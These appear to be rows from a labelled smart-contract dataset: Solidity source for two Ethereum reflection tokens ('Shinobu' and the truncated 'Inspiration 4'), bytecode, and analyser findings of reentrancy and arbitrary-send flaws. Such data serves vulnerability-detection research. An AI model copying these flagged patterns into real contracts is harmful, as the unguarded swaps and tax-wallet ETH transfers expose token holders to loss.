function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!_canTrade,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswap = _uniswapV2Router;
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb146102dd578063c9567bf91461031a578063dd62ed3e14610331578063f42938901461036e576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b41146102895780639e752b95146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806351bc3c85146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610385565b60405161011a9190612231565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611df4565b6103c2565b6040516101579190612216565b60405180910390f35b34801561016c57600080fd5b506101756103e0565b6040516101829190612393565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611da1565b6103ee565b6040516101bf9190612216565b60405180910390f35b3480156101d457600080fd5b506101dd6104c7565b6040516101ea9190612408565b60405180910390f35b3480156101ff57600080fd5b506102086104d0565b005b34801561021657600080fd5b50610231600480360381019061022c9190611d07565b61054a565b60405161023e9190612393565b60405180910390f35b34801561025357600080fd5b5061025c61059b565b005b34801561026a57600080fd5b506102736106ee565b6040516102809190612148565b60405180910390f35b34801561029557600080fd5b5061029e610717565b6040516102ab9190612231565b60405180910390f35b3480156102c057600080fd5b506102db60048036038101906102d69190611e61565b610754565b005b3480156102e957600080fd5b5061030460048036038101906102ff9190611df4565b6107cc565b6040516103119190612216565b60405180910390f35b34801561032657600080fd5b5061032f6107ea565b005b34801561033d57600080fd5b5061035860048036038101906103539190611d61565b610cf7565b6040516103659190612393565b60405180910390f35b34801561037a57600080fd5b50610383610d7e565b005b60606040518060400160405280600781526020017f5368696e6f627500000000000000000000000000000000000000000000000000815250905090565b60006103d66103cf610df0565b8484610df8565b6001905092915050565b6000655af3107a4000905090565b60006103fb848484610fc3565b6104bc84610407610df0565b6104b7856040518060600160405280602881526020016129e360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046d610df0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122b9092919063ffffffff16565b610df8565b600190509392505050565b60006006905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610511610df0565b73ffffffffffffffffffffffffffffffffffffffff161461053157600080fd5b600061053c3061054a565b90506105478161128f565b50565b6000610594600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611517565b9050919050565b6105a3610df0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610630576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610627906122f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f5348494e4f425500000000000000000000000000000000000000000000000000815250905090565b61075c610df0565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107b557600080fd5b600981106107c257600080fd5b8060088190555050565b60006107e06107d9610df0565b8484610fc3565b6001905092915050565b6107f2610df0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461087f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610876906122f3565b60405180910390fd5b600b60149054906101000a900460ff16156108cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c690612373565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061095c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16655af3107a4000610df8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109a257600080fd5b505afa1580156109b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109da9190611d34565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a3c57600080fd5b505afa158015610a50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a749190611d34565b6040518363ffffffff1660e01b8152600401610a91929190612163565b602060405180830381600087803b158015610aab57600080fd5b505af1158015610abf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae39190611d34565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610b6c3061054a565b600080610b776106ee565b426040518863ffffffff1660e01b8152600401610b99969594939291906121b5565b6060604051808303818588803b158015610bb257600080fd5b505af1158015610bc6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610beb9190611e8e565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ca192919061218c565b602060405180830381600087803b158015610cbb57600080fd5b505af1158015610ccf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf39190611e34565b5050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dbf610df0565b73ffffffffffffffffffffffffffffffffffffffff1614610ddf57600080fd5b6000479050610ded81611585565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f90612353565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ed8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecf90612293565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fb69190612393565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102a90612333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109a90612253565b60405180910390fd5b600081116110e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dd90612313565b60405180910390fd5b6110ee6106ee565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561115c575061112c6106ee565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561121b57600061116c3061054a565b9050600b60159054906101000a900460ff161580156111d95750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156111f15750600b60169054906101000a900460ff165b15611219576111ff8161128f565b600047905060008111156112175761121647611585565b5b505b505b6112268383836115f1565b505050565b6000838311158290611273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126a9190612231565b60405180910390fd5b50600083856112829190612559565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112c7576112c66126b4565b5b6040519080825280602002602001820160405280156112f55781602001602082028036833780820191505090505b509050308160008151811061130d5761130c612685565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113af57600080fd5b505afa1580156113c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e79190611d34565b816001815181106113fb576113fa612685565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061146230600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610df8565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114c69594939291906123ae565b600060405180830381600087803b1580156114e057600080fd5b505af11580156114f4573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b600060055482111561155e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155590612273565b60405180910390fd5b6000611568611601565b905061157d818461162c90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156115ed573d6000803e3d6000fd5b5050565b6115fc838383611676565b505050565b600080600061160e611841565b91509150611625818361162c90919063ffffffff16565b9250505090565b600061166e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061189a565b905092915050565b600080600080600080611688876118fd565b9550955095509550955095506116e686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061177b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119af90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117c781611a0d565b6117d18483611aca565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161182e9190612393565b60405180910390a3505050505050505050565b600080600060055490506000655af3107a40009050611871655af3107a400060055461162c90919063ffffffff16565b82101561188d57600554655af3107a4000935093505050611896565b81819350935050505b9091565b600080831182906118e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d89190612231565b60405180910390fd5b50600083856118f091906124ce565b9050809150509392505050565b600080600080600080600080600061191a8a600754600854611b04565b925092509250600061192a611601565b9050600080600061193d8e878787611b9a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006119a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061122b565b905092915050565b60008082846119be9190612478565b905083811015611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fa906122b3565b60405180910390fd5b8091505092915050565b6000611a17611601565b90506000611a2e8284611c2390919063ffffffff16565b9050611a8281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119af90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611adf8260055461196590919063ffffffff16565b600581905550611afa816006546119af90919063ffffffff16565b6006819055505050565b600080600080611b306064611b22888a611c2390919063ffffffff16565b61162c90919063ffffffff16565b90506000611b5a6064611b4c888b611c2390919063ffffffff16565b61162c90919063ffffffff16565b90506000611b8382611b75858c61196590919063ffffffff16565b61196590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611bb38589611c2390919063ffffffff16565b90506000611bca8689611c2390919063ffffffff16565b90506000611be18789611c2390919063ffffffff16565b90506000611c0a82611bfc858761196590919063ffffffff16565b61196590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611c365760009050611c98565b60008284611c4491906124ff565b9050828482611c5391906124ce565b14611c93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8a906122d3565b60405180910390fd5b809150505b92915050565b600081359050611cad8161299d565b92915050565b600081519050611cc28161299d565b92915050565b600081519050611cd7816129b4565b92915050565b600081359050611cec816129cb565b92915050565b600081519050611d01816129cb565b92915050565b600060208284031215611d1d57611d1c6126e3565b5b6000611d2b84828501611c9e565b91505092915050565b600060208284031215611d4a57611d496126e3565b5b6000611d5884828501611cb3565b91505092915050565b60008060408385031215611d7857611d776126e3565b5b6000611d8685828601611c9e565b9250506020611d9785828601611c9e565b9150509250929050565b600080600060608486031215611dba57611db96126e3565b5b6000611dc886828701611c9e565b9350506020611dd986828701611c9e565b9250506040611dea86828701611cdd565b9150509250925092565b60008060408385031215611e0b57611e0a6126e3565b5b6000611e1985828601611c9e565b9250506020611e2a85828601611cdd565b9150509250929050565b600060208284031215611e4a57611e496126e3565b5b6000611e5884828501611cc8565b91505092915050565b600060208284031215611e7757611e766126e3565b5b6000611e8584828501611cdd565b91505092915050565b600080600060608486031215611ea757611ea66126e3565b5b6000611eb586828701611cf2565b9350506020611ec686828701611cf2565b9250506040611ed786828701611cf2565b9150509250925092565b6000611eed8383611ef9565b60208301905092915050565b611f028161258d565b82525050565b611f118161258d565b82525050565b6000611f2282612433565b611f2c8185612456565b9350611f3783612423565b8060005b83811015611f68578151611f4f8882611ee1565b9750611f5a83612449565b925050600181019050611f3b565b5085935050505092915050565b611f7e8161259f565b82525050565b611f8d816125e2565b82525050565b6000611f9e8261243e565b611fa88185612467565b9350611fb88185602086016125f4565b611fc1816126e8565b840191505092915050565b6000611fd9602383612467565b9150611fe4826126f9565b604082019050919050565b6000611ffc602a83612467565b915061200782612748565b604082019050919050565b600061201f602283612467565b915061202a82612797565b604082019050919050565b6000612042601b83612467565b915061204d826127e6565b602082019050919050565b6000612065602183612467565b91506120708261280f565b604082019050919050565b6000612088602083612467565b91506120938261285e565b602082019050919050565b60006120ab602983612467565b91506120b682612887565b604082019050919050565b60006120ce602583612467565b91506120d9826128d6565b604082019050919050565b60006120f1602483612467565b91506120fc82612925565b604082019050919050565b6000612114601783612467565b915061211f82612974565b602082019050919050565b612133816125cb565b82525050565b612142816125d5565b82525050565b600060208201905061215d6000830184611f08565b92915050565b60006040820190506121786000830185611f08565b6121856020830184611f08565b9392505050565b60006040820190506121a16000830185611f08565b6121ae602083018461212a565b9392505050565b600060c0820190506121ca6000830189611f08565b6121d7602083018861212a565b6121e46040830187611f84565b6121f16060830186611f84565b6121fe6080830185611f08565b61220b60a083018461212a565b979650505050505050565b600060208201905061222b6000830184611f75565b92915050565b6000602082019050818103600083015261224b8184611f93565b905092915050565b6000602082019050818103600083015261226c81611fcc565b9050919050565b6000602082019050818103600083015261228c81611fef565b9050919050565b600060208201905081810360008301526122ac81612012565b9050919050565b600060208201905081810360008301526122cc81612035565b9050919050565b600060208201905081810360008301526122ec81612058565b9050919050565b6000602082019050818103600083015261230c8161207b565b9050919050565b6000602082019050818103600083015261232c8161209e565b9050919050565b6000602082019050818103600083015261234c816120c1565b9050919050565b6000602082019050818103600083015261236c816120e4565b9050919050565b6000602082019050818103600083015261238c81612107565b9050919050565b60006020820190506123a8600083018461212a565b92915050565b600060a0820190506123c3600083018861212a565b6123d06020830187611f84565b81810360408301526123e28186611f17565b90506123f16060830185611f08565b6123fe608083018461212a565b9695505050505050565b600060208201905061241d6000830184612139565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612483826125cb565b915061248e836125cb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124c3576124c2612627565b5b828201905092915050565b60006124d9826125cb565b91506124e4836125cb565b9250826124f4576124f3612656565b5b828204905092915050565b600061250a826125cb565b9150612515836125cb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561254e5761254d612627565b5b828202905092915050565b6000612564826125cb565b915061256f836125cb565b92508282101561258257612581612627565b5b828203905092915050565b6000612598826125ab565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006125ed826125cb565b9050919050565b60005b838110156126125780820151818401526020810190506125f7565b83811115612621576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6129a68161258d565b81146129b157600080fd5b50565b6129bd8161259f565b81146129c857600080fd5b50565b6129d4816125cb565b81146129df57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122050492009c88ed612b1b1648658b3ef831921c7598f667016c941e263736faecb64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 840 |
0x823750c06f5f1c597312c764d3905fa3252a16f7 | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Inspiration is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Inspiration 4";
string private constant _symbol = "I4";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 20000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 2;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
